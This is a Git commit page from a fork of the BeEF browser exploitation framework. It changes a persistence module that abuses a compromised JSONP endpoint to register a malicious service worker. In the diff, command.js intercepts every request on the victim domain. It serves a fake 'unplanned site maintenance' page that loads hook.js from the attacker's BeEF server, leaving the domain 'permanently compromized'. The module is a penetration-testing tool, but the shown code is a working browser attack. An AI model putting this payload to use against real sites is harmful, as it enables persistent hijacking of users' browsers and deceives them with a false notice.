Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

encodeURIComponent instead of requiring user to input already encoded string

Browse Source 
use beef.net.hook instead of hook.js
specify only chrome supported, and ALL others not
This commit is contained in:
Claudio Contin
2017-04-16 15:28:48 +12:00
parent 40492399cf
commit defdadb673
3 changed files with 6 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
modules/persistence/jsonp_service_worker/command.js
View File

@@ -6,7 +6,9 @@
beef.execute(function() {
var scriptElem = document.createElement("script");
scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27<%=@tempBody%>%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%2Fhook.js%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")';
var hook = encodeURIComponent(beef.net.hook);
var tempBody = encodeURIComponent('<%=@tempBody%>');
scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27'+tempBody+'%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+hook+'%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")';
$j("body").append(scriptElem);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected.");
beef.net.send("<%= @command_url %>", <%=@command_id%>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected.");
});

2
modules/persistence/jsonp_service_worker/config.yaml
View File

@@ -13,4 +13,4 @@ beef:
authors: ["clod81"]
target:
working: ["C"]
not_working: ["S", "FF", "IE"]
not_working: ["ALL"]

2
modules/persistence/jsonp_service_worker/module.rb
View File

@@ -7,7 +7,7 @@ class Jsonp_service_worker < BeEF::Core::Command
def self.options
return [
{'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback='},
{'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users (ASCII HEX encoding needed)', 'value' => '%3Ch3%3EUnplanned%20site%20maintenance,%20please%20wait%20a%20few%20seconds,%20we%20are%20almost%20done.%3C%2Fh3%3E'}
{'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users', 'value' => '<h3>Unplanned site maintenance, please wait a few seconds, we are almost done.</h3>'}
]
end